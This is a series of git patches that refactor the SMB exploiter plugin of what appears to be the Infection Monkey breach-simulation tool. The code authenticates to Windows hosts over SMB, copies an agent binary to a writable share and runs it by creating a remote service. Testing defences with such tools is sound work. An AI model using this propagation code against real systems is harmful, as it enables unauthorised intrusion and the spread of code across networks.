SMBPropagationClient into SMBExploitClient --- .../exploiters/smb/src/plugin.py | 3 - .../exploiters/smb/src/smb_exploit_client.py | 223 +++++++++++++++- .../exploiters/smb/src/smb_exploiter.py | 7 +- .../smb/src/smb_propagation_client.py | 239 ------------------ .../exploiters/smb/test_smb_exploiter.py | 21 +- 5 files changed, 229 insertions(+), 264 deletions(-) delete mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 07bb8439d24..266e5a3b675 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -16,7 +16,6 @@ from .smb_exploit_client import SMBExploitClient from .smb_exploiter import SMBExploiter from .smb_options import SMBOptions -from .smb_propagation_client import SMBPropagationClient logger = logging.getLogger(__name__) @@ -33,11 +32,9 @@ def __init__( **kwargs, ): smb_exploit_client = SMBExploitClient(agent_event_publisher) - smb_propagation_client = SMBPropagationClient(agent_event_publisher) self._smb_exploiter = SMBExploiter( smb_exploit_client, - smb_propagation_client, propagation_credentials_repository, agent_binary_repository, ) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 88ecdd56bb9..858db5dc05b 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,17 +1,25 @@ import logging -from typing import Optional +import ntpath +from io import BytesIO +from pathlib import PurePath +from typing import Any, Dict, Optional, Sequence, Tuple +from impacket.dcerpc.v5 import scmr, srvs, transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMBConnection from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from infection_monkey.i_puppet import TargetHost +from .smb_command_builder import build_smb_command from .smb_options import SMBOptions -from .smb_utils import create_smb_connection, logout_guest, smb_login +from .smb_utils import create_smb_connection, logout_guest, rpc_connect, smb_login logger = logging.getLogger(__name__) +SERVICE_NAME = "InfectionMonkey" + class SMBExploitClient: """Manages the SMB connection, Exploitation events""" @@ -41,3 +49,214 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede return False return True + + def copy_file( + self, + host: TargetHost, + file: BytesIO, + path: PurePath, + credentials: Credentials, + options: SMBOptions, + ) -> Optional[str]: + if not self.query_server_info(): + return None + + shares = self.query_shares(host, path) + for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): + destination = self.copy_agent_binary( + file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout + ) + if destination: + return destination + + return None + + def run_agent( + self, + host: TargetHost, + path: str, + dest_path: str, + servers: Sequence[str], + current_depth: int, + credentials: Credentials, + options: SMBOptions, + ) -> bool: + rpc = self._connect_rpc(host, credentials, options.smb_connect_timeout) + command = build_smb_command(servers, current_depth, path, dest_path) + + rpc.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(rpc) + sc_handle = resp["lpScHandle"] + + try: + resp = scmr.hRCreateServiceW( + rpc, + sc_handle, + SERVICE_NAME, + SERVICE_NAME, + lpBinaryPathName=command, + ) + except scmr.DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") + resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) + else: + return False + + service_handle = resp["lpServiceHandle"] + try: + scmr.hRStartServiceW(rpc, service_handle) + except Exception: + return False + + scmr.hRDeleteService(rpc, service_handle) + scmr.hRCloseServiceHandle(rpc, service_handle) + + return True + + def query_shares(self, host: TargetHost, path: PurePath): + resp = self._query_shared_resources() + if not resp: + return () + + high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + file_name = path.name + + for i in range(len(resp)): + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] + + if current_uses >= max_uses: + logger.debug( + f"Skipping share '{share_name}' on victim %r because max uses is exceeded", + host, + ) + continue + elif not share_path: + logger.debug( + f"Skipping share '{share_name}' on victim %r because share path is invalid", + host, + ) + continue + + share_info = {"share_name": share_name, "share_path": share_path} + + if str(path).lower().startswith(share_path.lower()): + high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) + + low_priority_shares += ((ntpath.sep + file_name, share_info),) + + return high_priority_shares + low_priority_shares + + def _query_shared_resources(self): + try: + shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) + except Exception as err: + logger.debug(f"Failed to query shared resources: {err}") + return None + + return shares + + def connected_shares(self, shares, host: TargetHost, credentials: Credentials): + """Yields a tuple of (remote_path, share_name, share_path) + Side effect: the SMBConnection is connected to the share""" + # Attempt to connect to a share over SMB + for remote_path, share in shares: + share_name = share["share_name"] + share_path = share["share_path"] + + # TODO: Do we really need to handle reconnects? + if not self._smb: + self.connect_with_user(host, credentials) + if not self._smb: + break + + try: + self._smb.connectTree(share_name) + except Exception as exc: + logger.error( + f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' + ) + continue + + yield remote_path, share_name, share_path + + def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: + self._smb = create_smb_connection(host) + if not self._smb: + return False + + self._smb = smb_login(self._smb, credentials) + if not self._smb: + return False + + return True + + def copy_agent_binary( + self, + agent_binary: BytesIO, + host: TargetHost, + remote_path: str, + share_name: str, + share_path: str, + timeout: int, + ) -> Optional[str]: + logger.debug( + f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + share_path, + remote_path, + ) + + if not self._smb: + return None + + try: + self._smb.setTimeout(timeout) + self._smb.putFile(share_name, remote_path, agent_binary.read) + + logger.info( + f"Copied monkey agent to remote share '{share_name}' " + f"[{share_path}] on victim {host}" + ) + + return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + except Exception as exc: + logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") + return None + + def query_server_info(self): + try: + info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + def _execute_rpc_call(self, rpc_func, *args): + """Executes an RPC call using DCE/RPC""" + dce = self._get_dce_bind() + + return rpc_func(dce, *args) + + def _get_dce_bind(self) -> DCERPC_v5: + """Creates a DCE/RPC connection over an existing SMB connection""" + rpctransport = transport.SMBTransport( + self._smb.getRemoteHost(), + self._smb.getRemoteHost(), + filename=r"\srvsvc", + smb_connection=self._smb, + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return dce + + def _connect_rpc(self, host, credentials, timeout): + return rpc_connect(host, 139, credentials, timeout) or rpc_connect( + host, 445, credentials, timeout + ) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 3e5864b9320..2d02cbe9378 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -12,7 +12,6 @@ from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions -from .smb_propagation_client import SMBPropagationClient logger = logging.getLogger(__name__) @@ -21,12 +20,10 @@ class SMBExploiter: def __init__( self, exploit_client: SMBExploitClient, - propagation_client: SMBPropagationClient, propagation_credentials_repository: IPropagationCredentialsRepository, agent_binary_repository: IAgentBinaryRepository, ): self._exploit_client = exploit_client - self._propagation_client = propagation_client self._propagation_credentials_repository = propagation_credentials_repository self._agent_binary_repository = agent_binary_repository @@ -81,14 +78,14 @@ def _propagate( ) -> bool: destination_path = get_agent_dst_path(host) agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - remote_path = self._propagation_client.copy_file( + remote_path = self._exploit_client.copy_file( agent_binary, host, destination_path, credentials, options ) if not remote_path: logger.debug(f"Failed to copy agent to {host}") return False - if not self._propagation_client.run_agent( + if not self._exploit_client.run_agent( host, remote_path, destination_path, servers, current_depth, credentials, options ): logger.debug(f"Failed to run agent on {host}") diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py deleted file mode 100644 index 94f291b88f2..00000000000 --- a/monkey/agent_plugins/exploiters/smb/src/smb_propagation_client.py +++ /dev/null @@ -1,239 +0,0 @@ -import logging -import ntpath -from io import BytesIO -from pathlib import PurePath -from typing import Any, Dict, Optional, Sequence, Tuple - -from impacket.dcerpc.v5 import scmr, srvs, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 - -from common.credentials import Credentials -from common.event_queue import IAgentEventPublisher -from infection_monkey.i_puppet import TargetHost - -from .smb_command_builder import build_smb_command -from .smb_options import SMBOptions -from .smb_utils import create_smb_connection, rpc_connect, smb_login - -logger = logging.getLogger(__name__) - - -SERVICE_NAME = "InfectionMonkey" - - -class SMBPropagationClient: - """Manages the RPC/SMB connection, Propagation events""" - - def __init__(self, agent_event_publisher: IAgentEventPublisher): - self._agent_event_publisher = agent_event_publisher - - def copy_file( - self, - host: TargetHost, - file: BytesIO, - path: PurePath, - credentials: Credentials, - options: SMBOptions, - ) -> Optional[str]: - if not self.query_server_info(): - return None - - shares = self.query_shares(host, path) - for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): - destination = self.copy_agent_binary( - file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout - ) - if destination: - return destination - - return None - - def run_agent( - self, - host: TargetHost, - path: str, - dest_path: str, - servers: Sequence[str], - current_depth: int, - credentials: Credentials, - options: SMBOptions, - ) -> bool: - rpc = self._connect_rpc(host, credentials, options.smb_connect_timeout) - command = build_smb_command(servers, current_depth, path, dest_path) - - rpc.bind(scmr.MSRPC_UUID_SCMR) - resp = scmr.hROpenSCManagerW(rpc) - sc_handle = resp["lpScHandle"] - - try: - resp = scmr.hRCreateServiceW( - rpc, - sc_handle, - SERVICE_NAME, - SERVICE_NAME, - lpBinaryPathName=command, - ) - except scmr.DCERPCSessionError as err: - if err.error_code == 0x431: - logger.debug(f"Service '{SERVICE_NAME}' already exists, trying to start it") - resp = scmr.hROpenServiceW(rpc, sc_handle, SERVICE_NAME) - else: - return False - - service_handle = resp["lpServiceHandle"] - try: - scmr.hRStartServiceW(rpc, service_handle) - except Exception: - return False - - scmr.hRDeleteService(rpc, service_handle) - scmr.hRCloseServiceHandle(rpc, service_handle) - - return True - - def query_shares(self, host: TargetHost, path: PurePath): - resp = self._query_shared_resources() - if not resp: - return () - - high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - file_name = path.name - - for i in range(len(resp)): - share_name = resp[i]["shi2_netname"].strip("\0 ") - share_path = resp[i]["shi2_path"].strip("\0 ") - current_uses = resp[i]["shi2_current_uses"] - max_uses = resp[i]["shi2_max_uses"] - - if current_uses >= max_uses: - logger.debug( - f"Skipping share '{share_name}' on victim %r because max uses is exceeded", - host, - ) - continue - elif not share_path: - logger.debug( - f"Skipping share '{share_name}' on victim %r because share path is invalid", - host, - ) - continue - - share_info = {"share_name": share_name, "share_path": share_path} - - if str(path).lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) - - low_priority_shares += ((ntpath.sep + file_name, share_info),) - - return high_priority_shares + low_priority_shares - - def _query_shared_resources(self): - try: - shares = self._execute_rpc_call(srvs.hNetrShareEnum, 2) - except Exception as err: - logger.debug(f"Failed to query shared resources: {err}") - return None - - return shares - - def connected_shares(self, shares, host: TargetHost, credentials: Credentials): - """Yields a tuple of (remote_path, share_name, share_path) - Side effect: the SMBConnection is connected to the share""" - # Attempt to connect to a share over SMB - for remote_path, share in shares: - share_name = share["share_name"] - share_path = share["share_path"] - - # TODO: Do we really need to handle reconnects? - if not self._smb: - self.connect_with_user(host, credentials) - if not self._smb: - break - - try: - self._smb.connectTree(share_name) - except Exception as exc: - logger.error( - f'Error connecting tree to share "{share_name}" on victim {host}: {exc}' - ) - continue - - yield remote_path, share_name, share_path - - def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: - self._smb = create_smb_connection(host) - if not self._smb: - return False - - self._smb = smb_login(self._smb, credentials) - if not self._smb: - return False - - return True - - def copy_agent_binary( - self, - agent_binary: BytesIO, - host: TargetHost, - remote_path: str, - share_name: str, - share_path: str, - timeout: int, - ) -> Optional[str]: - logger.debug( - f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", - share_path, - remote_path, - ) - - if not self._smb: - return None - - try: - self._smb.setTimeout(timeout) - self._smb.putFile(share_name, remote_path, agent_binary.read) - - logger.info( - f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {host}" - ) - - return ntpath.join(share_path, remote_path.strip(ntpath.sep)) - except Exception as exc: - logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") - return None - - def query_server_info(self): - try: - info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - def _execute_rpc_call(self, rpc_func, *args): - """Executes an RPC call using DCE/RPC""" - dce = self._get_dce_bind() - - return rpc_func(dce, *args) - - def _get_dce_bind(self) -> DCERPC_v5: - """Creates a DCE/RPC connection over an existing SMB connection""" - rpctransport = transport.SMBTransport( - self._smb.getRemoteHost(), - self._smb.getRemoteHost(), - filename=r"\srvsvc", - smb_connection=self._smb, - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - def _connect_rpc(self, host, credentials, timeout): - return rpc_connect(host, 139, credentials, timeout) or rpc_connect( - host, 445, credentials, timeout - ) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 537cdba8827..90f15a760c0 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -7,7 +7,6 @@ from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient from agent_plugins.exploiters.smb.src.smb_exploiter import SMBExploiter from agent_plugins.exploiters.smb.src.smb_options import SMBOptions -from agent_plugins.exploiters.smb.src.smb_propagation_client import SMBPropagationClient from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS from common import OperatingSystem @@ -23,12 +22,6 @@ def mock_exploit_client() -> SMBExploitClient: client = MagicMock(spec=SMBExploitClient) client.authenticate.return_value = True - return client - - -@pytest.fixture -def mock_propagation_client() -> SMBPropagationClient: - client = MagicMock(spec=SMBPropagationClient) client.copy_file.return_value = "path" client.run_agent.return_value = True return client @@ -44,12 +37,10 @@ def mock_credentials_repository() -> IPropagationCredentialsRepository: @pytest.fixture def smb_exploiter( mock_exploit_client: SMBExploitClient, - mock_propagation_client: SMBPropagationClient, mock_credentials_repository: IPropagationCredentialsRepository, ) -> SMBExploiter: return SMBExploiter( mock_exploit_client, - mock_propagation_client, mock_credentials_repository, MagicMock(spec=IAgentBinaryRepository), ) @@ -101,9 +92,9 @@ def test_exploit_host__propagation_succeeds( def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, - mock_propagation_client: SMBPropagationClient, + mock_exploit_client: SMBExploitClient, ): - mock_propagation_client.copy_file.return_value = None + mock_exploit_client.copy_file.return_value = None result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success @@ -112,9 +103,9 @@ def test_exploit_host__copy_fails( def test_exploit_host__run_agent_fails( smb_exploiter: SMBExploiter, - mock_propagation_client: SMBPropagationClient, + mock_exploit_client: SMBExploitClient, ): - mock_propagation_client.run_agent.return_value = False + mock_exploit_client.run_agent.return_value = False result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success @@ -134,9 +125,9 @@ def test_exploit_host__exploit_fails_on_authentication_error( def test_exploit_host__propagation_fails_on_run_agent_error( smb_exploiter: SMBExploiter, - mock_propagation_client: SMBPropagationClient, + mock_exploit_client: SMBExploitClient, ): - mock_propagation_client.run_agent.side_effect = Exception() + mock_exploit_client.run_agent.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success From 00b74044d7479b1c5aa7daebc86c7edc5e27cdb4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 11:53:27 +0100 Subject: [PATCH 0740/1338] SMB: Change method order in SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 117 +++++++++--------- 1 file changed, 56 insertions(+), 61 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 858db5dc05b..37f094dc815 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -5,7 +5,6 @@ from typing import Any, Dict, Optional, Sequence, Tuple from impacket.dcerpc.v5 import scmr, srvs, transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMBConnection from common.credentials import Credentials @@ -50,27 +49,6 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede return True - def copy_file( - self, - host: TargetHost, - file: BytesIO, - path: PurePath, - credentials: Credentials, - options: SMBOptions, - ) -> Optional[str]: - if not self.query_server_info(): - return None - - shares = self.query_shares(host, path) - for remote_path, share_name, share_path in self.connected_shares(host, shares, credentials): - destination = self.copy_agent_binary( - file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout - ) - if destination: - return destination - - return None - def run_agent( self, host: TargetHost, @@ -114,7 +92,58 @@ def run_agent( return True - def query_shares(self, host: TargetHost, path: PurePath): + def _connect_rpc(self, host, credentials, timeout): + return rpc_connect(host, 139, credentials, timeout) or rpc_connect( + host, 445, credentials, timeout + ) + + def copy_file( + self, + host: TargetHost, + file: BytesIO, + path: PurePath, + credentials: Credentials, + options: SMBOptions, + ) -> Optional[str]: + if not self._query_server_info(): + return None + + shares = self._query_shares(host, path) + for remote_path, share_name, share_path in self._connected_shares( + host, shares, credentials + ): + destination = self._copy_agent_binary( + file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout + ) + if destination: + return destination + + return None + + def _query_server_info(self): + try: + info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) + except Exception as err: + logger.debug(f"Failed to query server info: {err}") + return None + + return info + + def _execute_rpc_call(self, rpc_func, *args): + """Executes an RPC call using DCE/RPC""" + rpctransport = transport.SMBTransport( + self._smb.getRemoteHost(), + self._smb.getRemoteHost(), + filename=r"\srvsvc", + smb_connection=self._smb, + ) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + + return rpc_func(dce, *args) + + def _query_shares(self, host: TargetHost, path: PurePath): resp = self._query_shared_resources() if not resp: return () @@ -160,7 +189,7 @@ def _query_shared_resources(self): return shares - def connected_shares(self, shares, host: TargetHost, credentials: Credentials): + def _connected_shares(self, shares, host: TargetHost, credentials: Credentials): """Yields a tuple of (remote_path, share_name, share_path) Side effect: the SMBConnection is connected to the share""" # Attempt to connect to a share over SMB @@ -170,7 +199,7 @@ def connected_shares(self, shares, host: TargetHost, credentials: Credentials): # TODO: Do we really need to handle reconnects? if not self._smb: - self.connect_with_user(host, credentials) + self._connect_with_user(host, credentials) if not self._smb: break @@ -184,7 +213,7 @@ def connected_shares(self, shares, host: TargetHost, credentials: Credentials): yield remote_path, share_name, share_path - def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: + def _connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: self._smb = create_smb_connection(host) if not self._smb: return False @@ -195,7 +224,7 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool: return True - def copy_agent_binary( + def _copy_agent_binary( self, agent_binary: BytesIO, host: TargetHost, @@ -226,37 +255,3 @@ def copy_agent_binary( except Exception as exc: logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") return None - - def query_server_info(self): - try: - info = self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) - except Exception as err: - logger.debug(f"Failed to query server info: {err}") - return None - - return info - - def _execute_rpc_call(self, rpc_func, *args): - """Executes an RPC call using DCE/RPC""" - dce = self._get_dce_bind() - - return rpc_func(dce, *args) - - def _get_dce_bind(self) -> DCERPC_v5: - """Creates a DCE/RPC connection over an existing SMB connection""" - rpctransport = transport.SMBTransport( - self._smb.getRemoteHost(), - self._smb.getRemoteHost(), - filename=r"\srvsvc", - smb_connection=self._smb, - ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - - return dce - - def _connect_rpc(self, host, credentials, timeout): - return rpc_connect(host, 139, credentials, timeout) or rpc_connect( - host, 445, credentials, timeout - ) From 7c1bbbfffe4f0c5f9af7f138ff5a08155b827033 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 15 Mar 2023 12:54:26 +0000 Subject: [PATCH 0741/1338] SMB: Rename run_agent -> execute --- .../exploiters/smb/src/smb_exploit_client.py | 2 +- .../agent_plugins/exploiters/smb/src/smb_exploiter.py | 2 +- .../agent_plugins/exploiters/smb/test_smb_exploiter.py | 10 +++++----- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 37f094dc815..713df7763b0 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -49,7 +49,7 @@ def authenticate(self, host: TargetHost, options: SMBOptions, credentials: Crede return True - def run_agent( + def execute( self, host: TargetHost, path: str, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index 2d02cbe9378..b42e1057d70 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -85,7 +85,7 @@ def _propagate( logger.debug(f"Failed to copy agent to {host}") return False - if not self._exploit_client.run_agent( + if not self._exploit_client.execute( host, remote_path, destination_path, servers, current_depth, credentials, options ): logger.debug(f"Failed to run agent on {host}") diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 90f15a760c0..22ab6a7a67d 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -23,7 +23,7 @@ def mock_exploit_client() -> SMBExploitClient: client = MagicMock(spec=SMBExploitClient) client.authenticate.return_value = True client.copy_file.return_value = "path" - client.run_agent.return_value = True + client.execute.return_value = True return client @@ -101,11 +101,11 @@ def test_exploit_host__copy_fails( assert not result.propagation_success -def test_exploit_host__run_agent_fails( +def test_exploit_host__execute_fails( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, ): - mock_exploit_client.run_agent.return_value = False + mock_exploit_client.execute.return_value = False result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success @@ -123,11 +123,11 @@ def test_exploit_host__exploit_fails_on_authentication_error( assert not result.propagation_success -def test_exploit_host__propagation_fails_on_run_agent_error( +def test_exploit_host__propagation_fails_on_execute_error( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, ): - mock_exploit_client.run_agent.side_effect = Exception() + mock_exploit_client.execute.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success From 8001a62431b3641ee686e7b11b34519ffe0b5efd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 14:23:41 +0100 Subject: [PATCH 0742/1338] Common: Add RemoteCopyFileError to agent_plugins.exceptions --- monkey/common/agent_plugins/__init__.py | 1 + monkey/common/agent_plugins/exceptions.py | 4 ++++ 2 files changed, 5 insertions(+) create mode 100644 monkey/common/agent_plugins/exceptions.py diff --git a/monkey/common/agent_plugins/__init__.py b/monkey/common/agent_plugins/__init__.py index 42d98fdd4a4..89099bf0d51 100644 --- a/monkey/common/agent_plugins/__init__.py +++ b/monkey/common/agent_plugins/__init__.py @@ -1,3 +1,4 @@ from .agent_plugin_type import AgentPluginType from .agent_plugin_manifest import AgentPluginManifest from .agent_plugin import AgentPlugin +from .exceptions import RemoteCopyFileError diff --git a/monkey/common/agent_plugins/exceptions.py b/monkey/common/agent_plugins/exceptions.py new file mode 100644 index 00000000000..38d1bea8386 --- /dev/null +++ b/monkey/common/agent_plugins/exceptions.py @@ -0,0 +1,4 @@ +class RemoteCopyFileError(Exception): + """ + Raised when remote copy file operating fails. + """ From 57deec51f528ea5841ebde8b24d63cc1113e90fd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 15 Mar 2023 14:25:19 +0100 Subject: [PATCH 0743/1338] SMB: Raise RemoteFileCopyError on failed copy of agent binary --- .../exploiters/smb/src/smb_exploit_client.py | 62 +++++++------------ .../exploiters/smb/src/smb_exploiter.py | 12 ++-- .../exploiters/smb/test_smb_exploiter.py | 2 +- 3 files changed, 31 insertions(+), 45 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 713df7763b0..bebcb15c0fa 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -7,6 +7,7 @@ from impacket.dcerpc.v5 import scmr, srvs, transport from impacket.smbconnection import SMBConnection +from common.agent_plugins import RemoteCopyFileError from common.credentials import Credentials from common.event_queue import IAgentEventPublisher from infection_monkey.i_puppet import TargetHost @@ -104,21 +105,36 @@ def copy_file( path: PurePath, credentials: Credentials, options: SMBOptions, - ) -> Optional[str]: + ) -> str: if not self._query_server_info(): - return None + raise RemoteCopyFileError("No server information is available") shares = self._query_shares(host, path) for remote_path, share_name, share_path in self._connected_shares( host, shares, credentials ): - destination = self._copy_agent_binary( - file, host, remote_path, share_name, share_path, options.agent_binary_upload_timeout + logger.debug( + f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", + share_path, + remote_path, ) - if destination: - return destination - return None + try: + self._smb.setTimeout(options.agent_binary_upload_timeout) + self._smb.putFile(share_name, remote_path, file.read) + + logger.info( + f"Copied monkey agent to remote share '{share_name}' " + f"[{share_path}] on victim {host}" + ) + + return ntpath.join(share_path, remote_path.strip(ntpath.sep)) + except Exception as exc: + error_message = ( + f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}" + ) + logger.error(error_message) + raise RemoteCopyFileError(error_message) def _query_server_info(self): try: @@ -223,35 +239,3 @@ def _connect_with_user(self, host: TargetHost, credentials: Credentials) -> bool return False return True - - def _copy_agent_binary( - self, - agent_binary: BytesIO, - host: TargetHost, - remote_path: str, - share_name: str, - share_path: str, - timeout: int, - ) -> Optional[str]: - logger.debug( - f"Trying to copy monkey file to share '{share_name}' [%s + %s] on victim {host}", - share_path, - remote_path, - ) - - if not self._smb: - return None - - try: - self._smb.setTimeout(timeout) - self._smb.putFile(share_name, remote_path, agent_binary.read) - - logger.info( - f"Copied monkey agent to remote share '{share_name}' " - f"[{share_path}] on victim {host}" - ) - - return ntpath.join(share_path, remote_path.strip(ntpath.sep)) - except Exception as exc: - logger.error(f"Error uploading monkey to share '{share_name}' on victim {host}: {exc}") - return None diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py index b42e1057d70..52ca941a2ed 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploiter.py @@ -1,6 +1,7 @@ import logging from typing import Optional, Sequence +from common.agent_plugins import RemoteCopyFileError from common.credentials import Credentials from common.types import Event from infection_monkey.exploit import IAgentBinaryRepository @@ -78,11 +79,12 @@ def _propagate( ) -> bool: destination_path = get_agent_dst_path(host) agent_binary = self._agent_binary_repository.get_agent_binary(host.operating_system) - remote_path = self._exploit_client.copy_file( - agent_binary, host, destination_path, credentials, options - ) - if not remote_path: - logger.debug(f"Failed to copy agent to {host}") + try: + remote_path = self._exploit_client.copy_file( + agent_binary, host, destination_path, credentials, options + ) + except RemoteCopyFileError as err: + logger.debug(f"Error occured while copying file to host {host}: {str(err)}") return False if not self._exploit_client.execute( diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py index 22ab6a7a67d..dc0a22b15da 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploiter.py @@ -94,7 +94,7 @@ def test_exploit_host__copy_fails( smb_exploiter: SMBExploiter, mock_exploit_client: SMBExploitClient, ): - mock_exploit_client.copy_file.return_value = None + mock_exploit_client.copy_file.side_effect = Exception() result = run_smb_exploiter(smb_exploiter) assert result.exploitation_success From 